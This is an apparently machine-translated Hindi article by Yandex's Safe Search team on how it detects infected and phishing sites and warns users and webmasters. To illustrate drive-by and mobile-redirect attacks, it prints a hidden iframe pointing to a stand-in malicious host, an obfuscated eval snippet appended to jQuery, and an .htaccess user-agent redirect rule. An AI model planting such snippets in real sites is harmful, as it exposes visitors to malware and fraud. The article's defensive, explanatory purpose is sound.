Yandex सिक्योर सर्च सिस्टम डिवाइस

2007 में, Yandex एक वायरस में चला गया, जिसने उपयोगकर्ताओं के कंप्यूटरों पर Yandex खोज परिणामों को बड़े पैमाने पर बदल दिया। प्रासंगिक परिणामों के बजाय, क्वेरी से संबंधित विज्ञापनों को प्रतिस्थापित नहीं किया गया था। समस्या का समाधान तलाशना अत्यावश्यक था। इसका अध्ययन करने पर, हमें पता चला कि वायरस ड्राइव-बाय-डाउनलोड हमलों का उपयोग करके उपयोगकर्ता कंप्यूटर में प्रवेश करता है। संक्रमित पृष्ठ दुर्भावनापूर्ण फ़ाइलों के छिपे हुए डाउनलोड को आरंभ करते हैं। फिर, उपयोगकर्ता प्रणाली की कमजोरियों का शोषण करते हुए, कंप्यूटर पर मैलवेयर स्थापित किया जाता है।

एंटी-वायरस प्रोग्राम हमेशा इस प्रकार के हमले से उपयोगकर्ताओं की रक्षा नहीं करते हैं और नए, बस निरस्त किए गए मैलवेयर होते हैं, इसलिए उपयोगकर्ताओं को अतिरिक्त सुरक्षा की आवश्यकता होती है। हमने महसूस किया कि इस घटना को दूर करने के लिए, साइटों के संक्रमण का पता लगाना आवश्यक है, वेबमास्टर्स को दुर्भावनापूर्ण कोड निकालने में मदद करना है, और उन्हें साथी नेटवर्क में भाग न लेने के लिए प्रेरित करना है जिसके माध्यम से ड्राइव-बाय-डाउनलोड-अटैक ब्लॉक वितरित किए जाते हैं।




एक निश्चित बिंदु पर, यह स्पष्ट हो गया कि समस्या एक पारिस्थितिकी तंत्र की प्रकृति की है, और यदि आप साइटों के वायरल और धोखाधड़ी वाले विमुद्रीकरण से नहीं निपटते हैं, तो इसका पैमाना तेजी से बढ़ेगा। अंततः, यह इंटरनेट में उपयोगकर्ताओं के विश्वास को कम कर देगा, इसके विकास में हस्तक्षेप करेगा और यहां तक ​​कि जिस तरह से हम परिचित हैं, उसके अस्तित्व को खतरे में डाल देंगे। इसलिए, छह साल पहले हमने खतरनाक साइटों का पता लगाने के लिए एक प्रणाली डिजाइन और विकसित करना शुरू किया, और चार साल पहले इसे लॉन्च किया गया था। अब हम अपने सिस्टम को सक्रिय रूप से विकसित करना जारी रखते हैं, इसे नए खतरों के लिए अनुकूलित करते हैं, ऐसे तरीके लागू करते हैं जो हमें दुर्भावनापूर्ण कोड का पता लगाने की अनुमति देते हैं जो अभी तक हस्ताक्षर विरोधी वायरस डेटाबेस तक नहीं पहुंचे हैं।

Yandex का एंटी-वायरस स्कैन कैसे किया जाता है

यह सब इस तथ्य से शुरू होता है कि हमारे एंटी-वायरस रोबोट चेक किए जा रहे पृष्ठ पर जाते हैं और उन सभी डेटा को डाउनलोड करते हैं, जिन्हें जब देखा जाता है, तो सामान्य उपयोगकर्ताओं के ब्राउज़र में जाता है। फिर डाउनलोड किए गए डेटा का विश्लेषण किया जाता है।

व्यवहार विश्लेषक हर उस चीज़ की निगरानी करता है जो किसी पृष्ठ को देखते समय होती है, जिसमें ब्राउज़र का संचालन, प्लग-इन (विशेष रूप से, जावा कोड को निष्पादित करने के लिए डिज़ाइन किया गया और पीडीएफ फाइलें देखने के लिए) और ऑपरेटिंग सिस्टम शामिल है। अवलोकन परिणामों की तुलना दुर्भावनापूर्ण व्यवहार के पैटर्न से की जाती है। व्यवहार दृष्टिकोण का मुख्य लाभ दुर्भावनापूर्ण कोड का पता लगाने की क्षमता है, जिनके हस्ताक्षर अभी तक एंटी-वायरस डेटाबेस तक नहीं पहुंचे हैं। यह वह कोड है जो अक्सर साइबर क्रिमिनल्स द्वारा बड़ी साइटों को संक्रमित करने के लिए उपयोग किया जाता है।

इसके अलावा, हम निरीक्षण करते हैं कि क्या पेज लोडिंग प्रक्रिया के दौरान उन सर्वरों तक पहुंच है जिन्हें दुर्भावनापूर्ण कोड वितरकों के रूप में जाना जाता है। यह हमारी काली सूची में कैसे काम करता है।

सुरक्षा के एक अतिरिक्त साधन के रूप में, हम सोफोस एंटीवायरस स्कैनर का उपयोग करके खोज आधार का एक हस्ताक्षर विश्लेषण करते हैं। हमने इस कंपनी के साथ पारस्परिक रूप से लाभप्रद सहयोग विकसित किया है: वे हमारे द्वारा प्रदान किए गए डेटा के महत्व को समझते हैं, हमारे अनुरोधों का तुरंत जवाब देते हैं और उनकी प्रणाली को प्रशिक्षित करते हैं।

मैलवेयर के व्यवहार के पैटर्न का निर्धारण हमारे जैविक विश्लेषकों - वायरस विश्लेषकों द्वारा किया जाता है। वे दुर्भावनापूर्ण कोड के आधुनिक नमूनों पर शोध करते हैं, अपने काम में सामान्य संकेतों और पैटर्न की पहचान करते हैं। अनुसंधान परिणामों का उपयोग व्यवहार डिटेक्टरों को बेहतर बनाने, और ब्लैकलिस्ट का विस्तार करने के लिए किया जाता है, और इसे सोफोस के लिए दुर्भावनापूर्ण कोड के उदाहरण के रूप में भी भेजा जाता है।

कुल में, सिस्टम प्रति दिन 20 मिलियन से अधिक जांच करता है, जिसके परिणामस्वरूप लगभग 5,000 नए संक्रमणों का पता लगाया जाता है और 80 हजार से अधिक साइटें संक्रमित होती हैं। साइट जितनी लोकप्रिय है और संक्रमण का खतरा उतना ही अधिक है - अधिक बार यह हमारे सिस्टम द्वारा जांचा जाता है।

हम किससे रक्षा कर रहे हैं?

इंटरनेट उपयोगकर्ताओं पर हमलों की संख्या में लीड पर ड्राइव-बाय-डाउनलोड हमले जारी हैं। उनके कार्यान्वयन के दौरान, साइबर अपराधियों ने साइट की सामग्री के अलावा विशेष रूप से तैयार किए गए वेब पेजों को डाउनलोड करने वाले वैध वेब अनुप्रयोगों में दुर्भावनापूर्ण कोड को एम्बेड किया, जो ब्राउज़रों और अन्य सॉफ़्टवेयर में कमजोरियों का उपयोग करते हुए, उपयोगकर्ताओं के लिए दुर्भावनापूर्ण प्रोग्राम स्थापित करते हैं।

उदाहरण के लिए, ऐसा कोड लग सकता है:

<iframe src="http://evilsite.ws/wp-content/plugins/wordpress-importer/cash.php" width="13" height="14" frameborder="0" style="visibility: hidden; display: none"></iframe> 

आमतौर पर, एक iframe में एक लिंक obfuscated कोड होता है। इस तरह, हमलावर हस्ताक्षर का पता लगाने से रोकने की कोशिश करते हैं।

किसी कानूनी लायब्रेरी के अंत में दुर्भावनापूर्ण कोड जोड़ते समय, Obfuscation का उपयोग किया जाता है, उदाहरण के लिए, jQuery। इस तरह के हमलों से खुद को बचाने के लिए, आप अपने सर्वर पर जेएस लाइब्रेरी को स्टोर नहीं कर सकते हैं, लेकिन उन्हें विश्वसनीय स्रोतों से ले सकते हैं। Yandex की लोकप्रिय जावास्क्रिप्ट पुस्तकालयों की अपनी मेजबानी है , जिसका हर कोई उपयोग कर सकता है।

  /*! jQuery v1.8.2 jquery.com | jquery.org/licence */ (function(a,b){function G(a){var b=F[a]={};return p.each(a.split(s),function(a,c){b{c}=!0}),b} /* jQuery code cutted */ &&define("jquery",[],function(){return})})(window); //end of jquery code var domain = 'http://somedomain.ru'; v = "v" + "al"; if (020 === 0x10 && window.document) { try { document.body++ } catch(gdsgsdg) { asd = 0; try { d = document.createElement("div"); d.innerHTML.a = "asd"; }catch (agdsg) { asd = 1; } if (!asd) { w = {a:window},a; v = "e".contact(v); } } } e = w["" + v]; 

मोबाइल उपकरणों के प्रसार के साथ, उन पर हमले तेजी से लोकप्रिय हो रहे हैं। इस मामले में सबसे आम परिदृश्य इस प्रकार है: साइट के मालिक, मोबाइल ट्रैफ़िक का मुद्रीकरण करने के लिए, एक सहबद्ध कार्यक्रम में प्रवेश करता है, और, अक्सर इसे जाने बिना, अपने पृष्ठ पर एक मोबाइल रीडायरेक्ट रखता है। जब सामान्य ब्राउज़र के माध्यम से देखा जाता है, तो साइट पूरी तरह से सामान्य तरीके से व्यवहार करती है। लेकिन अगर आप इसे मोबाइल डिवाइस से देखते हैं, तो यह एक अन्य पेज पर रीडायरेक्ट होगा जहां उपयोगकर्ता को कुछ एप्लिकेशन इंस्टॉल करने के लिए प्रेरित किया जाएगा, उदाहरण के लिए, ब्राउज़र का "अपडेट किया गया" संस्करण। उसी समय, उपयोगकर्ता एजेंट के आधार पर, साइट प्लेटफ़ॉर्म से संबंधित विभिन्न एक्सटेंशन के साथ फ़ाइलों को डाउनलोड करने की पेशकश करती हैं। इसके बाद, उपयोगकर्ता को एक भुगतान किया गया एसएमएस भेजने के लिए कहा जाएगा, या स्थापित एप्लिकेशन स्वयं उपयोगकर्ता के ज्ञान के बिना इस तरह के संदेश भेजेगा। यदि एप्लिकेशन उपयोगकर्ता की संपर्क सूची तक पहुंचने में कामयाब रहा, तो इसका उपयोग स्पैम भेजने के लिए किया जा सकता है।



इस तरह के हमले को लागू करने के लिए, यह वेब सर्वर की .htaccess फ़ाइल को संशोधित करने के लिए इसे पुनर्निर्देशित करने की शर्तों को जोड़कर पर्याप्त है:

 RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk|bada|windows\ phone) [NC] RewriteRule (.*) http://<_ > [L,R=302] 

हमारे खोज उपकरण इन साइटों को ट्रैक करते हैं। वे मोबाइल जारी करने के पृष्ठों पर नहीं आते हैं, और रीडायरेक्ट वाली साइटों में प्रवेश करने से पहले एंड्रॉइड और आईओएस के लिए हमारे ब्राउज़र में चेतावनी दिखाई जाती है।



पहले से बताए गए ड्राइव-बाय-डाउनलोड हमलों के अलावा, और दुर्भावनापूर्ण सॉफ़्टवेयर डाउनलोड करने वाले पृष्ठों पर रीडायरेक्ट करता है, फ़िशिंग पृष्ठ पर रीडायरेक्ट जो पूरी तरह से इसके इंटरफ़ेस को कॉपी करता है, उसे साइट पर रखा जा सकता है। ऐसी साइटों को आमतौर पर उपयोगकर्ता की व्यक्तिगत जानकारी के इनपुट की आवश्यकता होती है, जिसका उपयोग धोखाधड़ी उद्देश्यों के लिए किया जाता है, साथ ही स्पैम भेजने के लिए भी।

फ़िशिंग हमलों में ऐसे मामले भी शामिल हो सकते हैं जहां एक बैनर ब्राउज़र के नए संस्करण को डाउनलोड करने की पेशकश करने वाली साइट पर पोस्ट किया जाता है। जब आप इंस्टॉलेशन फ़ाइल डाउनलोड करने का प्रयास करते हैं, तो साइट उस फ़ोन नंबर को दर्ज करने की पेशकश करती है जिस पर पुष्टि कोड भेजा जाएगा। कथित तौर पर, आप साबित करते हैं कि आप रोबोट नहीं हैं। लेकिन वास्तव में, आपको एक भुगतान सेवा के लिए सदस्यता ली जाएगी। अक्सर, ये बैनर किसी साइट को हैक करने या बेईमान सहबद्ध कार्यक्रमों में भाग लेने का परिणाम होते हैं।

खतरनाक चेतावनी

दुर्भावनापूर्ण साइटों के बारे में जानकारी जो हमें मिली है, डेटाबेस में आती है। वर्तमान में, हम दुनिया भर में 200 हजार से अधिक संक्रमित और फ़िशिंग साइटों को जानते हैं, जिनमें से लगभग 20% में रूस और सीआईएस देशों से संबंधित क्षेत्रों में डोमेन हैं।

जब एक संक्रमित साइट का पता लगाया जाता है, तो हम इसे मानक पते पर वेबमास्टर को भेजते हैं, साथ ही डोमेन पंजीकरण जानकारी में निर्दिष्ट संपर्क। यह औसत समय कम कर देता है कि एक साइट लगभग 1.6 बार संक्रमित रहती है।

भविष्य में, इस डेटा का उपयोग खोज पृष्ठ पर मौजूद उपयोगकर्ताओं को Yandex.Mail , Browser के साथ-साथ ओपेरा और मोज़िला फ़ायरफ़ॉक्स के साथ Yandex.Elements स्थापित करने के लिए सचेत करने के लिए किया जाता है। औसतन, हम खोज परिणाम पृष्ठ पर और सेवाओं में, साथ ही साथ ब्राउज़रों में लगभग 3 मिलियन चेतावनियाँ दिखाते हैं, लेकिन साइटों के सामूहिक संक्रमण की अवधि के दौरान यह संख्या प्रति दिन 18 मिलियन चेतावनियों तक पहुँच सकती है।

उपयोगकर्ता Yandex.DNS सेवा के साथ अपनी सुरक्षा कर सकते हैं। हमारा DNS सर्वर, जो 77.88.8.88 पर उपलब्ध है, खतरनाक साइटों को फ़िल्टर करने और उन्हें एक्सेस करने का प्रयास करते समय चेतावनी प्रदर्शित करता है।

Yandex.Mail में बाहरी लिंक के लिए संक्रमण एक विशेष चेतावनी पुनर्निर्देशक के माध्यम से चलाया जाता है। यह संक्रमित साइटों के यूआरएल मास्क के साथ लिंक की तुलना करता है और, यदि एक मैच पाया जाता है, तो एक विशेष चेतावनी पृष्ठ पर रीडायरेक्ट करता है। जिसके बाद यूजर खुद तय कर सकता है कि उसे और आगे जाना चाहिए या नहीं।

मैं विशेष रूप से यह ध्यान देना चाहूंगा कि Yandex.Mail से पत्रों के लिंक स्वयं कहीं भी प्रेषित नहीं होते हैं और सुरक्षित खोज प्रणाली द्वारा चेक नहीं किए जाते हैं, लेकिन विशेष रूप से येंडेक्स के पहले से ज्ञात खतरनाक साइटों के URL मास्क के साथ तुलना की जाती है। मेल में कस्टम लिंक गोपनीय रहते हैं और कभी भी प्रासंगिक विज्ञापन को अनुक्रमित या प्रदर्शित करने के लिए उपयोग नहीं किए जाते हैं।

Yandex.Webmaster में पंजीकृत संक्रमित साइटों के लिए, हम संक्रमण के बारे में विस्तृत जानकारी दिखाते हैं। यदि वेबमास्टर स्वयं संक्रमण को दूर नहीं कर सकता है और इसके कारणों को समाप्त नहीं कर सकता है, तो वह मदद के लिए तकनीकी सहायता की ओर मुड़ सकता है।

मैलवेयर के लिए URL की जाँच करने के लिए, आप Yandex Safe Browsing API से जुड़ सकते हैं, या virustotal.com का उपयोग कर सकते हैं - यह URL स्कैनर में से एक के रूप में Yandex Safe Search का उपयोग करता है।

वेब सर्वर साइड पर चल रहे मैलवेयर के उदाहरण (उदाहरण के लिए, सर्वर बैकडोर, दुर्भावनापूर्ण Apache मॉड्यूल, संक्रमित CMS टेम्प्लेट), हम virus-samples@yandex-team.ru पर प्राप्त करके खुश होंगे।

सहयोग के लिए, कृपया safesearch@yandex-team.ru पर संपर्क करें ।
Yandex Antivirus Technology & Safe Search बूथ YaC पर स्थित होगा, जहाँ आप हमारे वायरस विश्लेषकों से चैट कर सकते हैं, मालवेयर डिटेक्शन प्रतियोगिता में भाग ले सकते हैं और सुरक्षित ब्राउज़िंग एपीआई के बारे में अधिक जान सकते हैं।